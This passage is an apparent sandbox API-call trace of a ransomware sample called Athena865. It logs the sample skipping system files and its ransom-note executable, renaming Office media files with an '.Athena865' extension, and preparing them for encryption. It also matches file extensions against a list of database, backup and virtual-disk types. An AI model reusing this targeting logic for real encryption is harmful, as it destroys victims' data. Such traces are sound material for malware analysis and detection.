(lpString=".lnk") returned 4 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".lnk") returned 1 [0137.942] lstrlenW (lpString=".ini") returned 4 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".ini") returned 1 [0137.942] lstrlenW (lpString=".sys") returned 4 [0137.942] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".sys") returned 1 [0137.942] lstrlenW (lpString="J0090386.WMF") returned 12 [0137.942] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.Athena865") returned 71 [0137.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.athena865"), dwFlags=0x1) returned 1 [0137.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33546) returned 1 [0137.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.944] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.945] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.945] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.945] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8610, lpName=0x0) returned 0x154 [0137.946] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8610) returned 0x100000 [0137.948] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.949] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.949] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.950] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.950] CloseHandle (hObject=0x154) returned 1 [0137.950] CloseHandle (hObject=0x17c) returned 1 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.951] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="..") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="windows") returned -1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="bootmgr") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="temp") returned -1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="pagefile.sys") returned -1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="boot") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ids.txt") returned 1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="ntuser.dat") returned -1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="perflogs") returned -1 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2="MSBuild") returned -1 [0137.951] lstrlenW (lpString="J0149407.WMF") returned 12 [0137.951] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0149407.WMF" | out: lpString1="J0149407.WMF") returned="J0149407.WMF" [0137.951] lstrlenW (lpString="J0149407.WMF") returned 12 [0137.951] lstrlenW (lpString="Athena865") returned 9 [0137.951] lstrcmpiW (lpString1="49407.WMF", lpString2="Athena865") returned -1 [0137.951] lstrlenW (lpString=".dll") returned 4 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".dll") returned 1 [0137.951] lstrlenW (lpString=".lnk") returned 4 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".lnk") returned 1 [0137.951] lstrlenW (lpString=".ini") returned 4 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".ini") returned 1 [0137.951] lstrlenW (lpString=".sys") returned 4 [0137.951] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".sys") returned 1 [0137.952] lstrlenW (lpString="J0149407.WMF") returned 12 [0137.952] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.Athena865") returned 71 [0137.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.athena865"), dwFlags=0x1) returned 1 [0137.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.961] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34570) returned 1 [0137.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.962] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.962] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.962] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a10, lpName=0x0) returned 0x154 [0137.964] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a10) returned 0x100000 [0137.967] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.967] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.967] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.968] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.969] CloseHandle (hObject=0x154) returned 1 [0137.969] CloseHandle (hObject=0x17c) returned 1 [0137.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.969] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".") returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="..") returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="windows") returned -1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="bootmgr") returned 1 [0137.969] lstrcmpiW (lpString1="J0149481.WMF", lpString2="temp") returned -1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="pagefile.sys") returned -1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="boot") returned 1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ids.txt") returned 1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="ntuser.dat") returned -1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="perflogs") returned -1 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2="MSBuild") returned -1 [0137.970] lstrlenW (lpString="J0149481.WMF") returned 12 [0137.970] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0149481.WMF" | out: lpString1="J0149481.WMF") returned="J0149481.WMF" [0137.970] lstrlenW (lpString="J0149481.WMF") returned 12 [0137.970] lstrlenW (lpString="Athena865") returned 9 [0137.970] lstrcmpiW (lpString1="49481.WMF", lpString2="Athena865") returned -1 [0137.970] lstrlenW (lpString=".dll") returned 4 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".dll") returned 1 [0137.970] lstrlenW (lpString=".lnk") returned 4 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".lnk") returned 1 [0137.970] lstrlenW (lpString=".ini") returned 4 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".ini") returned 1 [0137.970] lstrlenW (lpString=".sys") returned 4 [0137.970] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".sys") returned 1 [0137.970] lstrlenW (lpString="J0149481.WMF") returned 12 [0137.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.Athena865") returned 71 [0137.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.athena865"), dwFlags=0x1) returned 1 [0137.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.976] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24282) returned 1 [0137.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.976] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.977] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.977] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.977] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61e0, lpName=0x0) returned 0x154 [0137.980] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61e0) returned 0x100000 [0137.983] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.983] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.984] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.984] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.985] CloseHandle (hObject=0x154) returned 1 [0137.985] CloseHandle (hObject=0x17c) returned 1 [0137.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.985] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="..") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="windows") returned -1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="bootmgr") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="temp") returned -1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="pagefile.sys") returned -1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="boot") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ids.txt") returned 1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="ntuser.dat") returned -1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="perflogs") returned -1 [0137.985] lstrcmpiW (lpString1="J0149627.WMF", lpString2="MSBuild") returned -1 [0137.986] lstrlenW (lpString="J0149627.WMF") returned 12 [0137.986] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0149627.WMF" | out: lpString1="J0149627.WMF") returned="J0149627.WMF" [0137.986] lstrlenW (lpString="J0149627.WMF") returned 12 [0137.986] lstrlenW (lpString="Athena865") returned 9 [0137.986] lstrcmpiW (lpString1="49627.WMF", lpString2="Athena865") returned -1 [0137.986] lstrlenW (lpString=".dll") returned 4 [0137.986] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".dll") returned 1 [0137.986] lstrlenW (lpString=".lnk") returned 4 [0137.986] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".lnk") returned 1 [0137.986] lstrlenW (lpString=".ini") returned 4 [0137.986] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".ini") returned 1 [0137.986] lstrlenW (lpString=".sys") returned 4 [0137.986] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".sys") returned 1 [0137.986] lstrlenW (lpString="J0149627.WMF") returned 12 [0137.986] lstrlenW (lpString="bak") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0137.986] lstrlenW (lpString="ba_") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0137.986] lstrlenW (lpString="dbb") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0137.986] lstrlenW (lpString="vmdk") returned 4 [0137.986] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0137.986] lstrlenW (lpString="rar") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0137.986] lstrlenW (lpString="zip") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0137.986] lstrlenW (lpString="tgz") returned 3 [0137.986] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0137.986] lstrlenW (lpString="vbox") returned 4 [0137.987] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0137.987] lstrlenW (lpString="vdi") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0137.987] lstrlenW (lpString="vhd") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0137.987] lstrlenW (lpString="vhdx") returned 4 [0137.987] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0137.987] lstrlenW (lpString="avhd") returned 4 [0137.987] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0137.987] lstrlenW (lpString="db") returned 2 [0137.987] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0137.987] lstrlenW (lpString="db2") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0137.987] lstrlenW (lpString="db3") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0137.987] lstrlenW (lpString="dbf") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0137.987] lstrlenW (lpString="mdf") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0137.987] lstrlenW (lpString="mdb") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0137.987] lstrlenW (lpString="sql") returned 3 [0137.987] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0137.987] lstrlenW (lpString="sqlite") returned 6 [0137.987] lstrcmpiW (lpString1="27.WMF", lpString2="sqlite") returned -1 [0137.987] lstrlenW (lpString="sqlite3") returned 7 [0137.987] lstrcmpiW (lpString1="627.WMF", lpString2="sqlite3") returned -1 [0137.987] lstrlenW (lpString="sqlitedb") returned 8 [0137.988] lstrcmpiW (lpString1="9627.WMF", lpString2="sqlitedb") returned -1 [0137.988] lstrlenW (lpString="xml") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0137.988] lstrlenW (lpString="$er") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0137.988] lstrlenW (lpString="4dd") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0137.988] lstrlenW (lpString="4dl") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0137.988] lstrlenW (lpString="^^^") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0137.988] lstrlenW (lpString="abs") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0137.988] lstrlenW (lpString="abx") returned 3 [0137.988] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0137.988] lstrlenW (lpString="accdb") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0137.988] lstrlenW (lpString="accdc") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0137.988] lstrlenW (lpString="accde") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0137.988] lstrlenW (lpString="accdr") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0137.988] lstrlenW (lpString="accdt") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0137.988] lstrlenW (lpString="accdw") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0137.988] lstrlenW (lpString="accft") returned 5 [0137.988] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0137.988] lstrlenW (lpString="adb") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0137.989] lstrlenW (lpString="adb") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0137.989] lstrlenW (lpString="ade") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0137.989] lstrlenW (lpString="adf") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0137.989] lstrlenW (lpString="adn") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0137.989] lstrlenW (lpString="adp") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0137.989] lstrlenW (lpString="alf") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0137.989] lstrlenW (lpString="ask") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0137.989] lstrlenW (lpString="btr") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0137.989] lstrlenW (lpString="cat") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0137.989] lstrlenW (lpString="cdb") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0137.989] lstrlenW (lpString="ckp") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0137.989] lstrlenW (lpString="cma") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0137.989] lstrlenW (lpString="cpd") returned 3 [0137.989] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0137.989] lstrlenW (lpString="dacpac") returned 6 [0137.989] lstrcmpiW (lpString1="27.WMF", lpString2="dacpac") returned -1 [0137.989] lstrlenW (lpString="dad") returned 3 [0137.990] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0137.990] lstrlenW (lpString="dadiagrams") returned 10 [0137.990] lstrcmpiW (lpString1="149627.WMF", lpString2="dadiagrams") returned -1 [0137.990] lstrlenW (lpString="daschema") returned 8 [0137.990] lstrcmpiW (lpString1="9627.WMF", lpString2="daschema") returned -1 [0137.990] lstrlenW (lpString="db-journal") returned 10 [0137.990] lstrcmpiW (lpString1="149627.WMF", lpString2="db-journal") returned -1 [0137.990] lstrlenW (lpString="db-shm") returned 6 [0137.990] lstrcmpiW 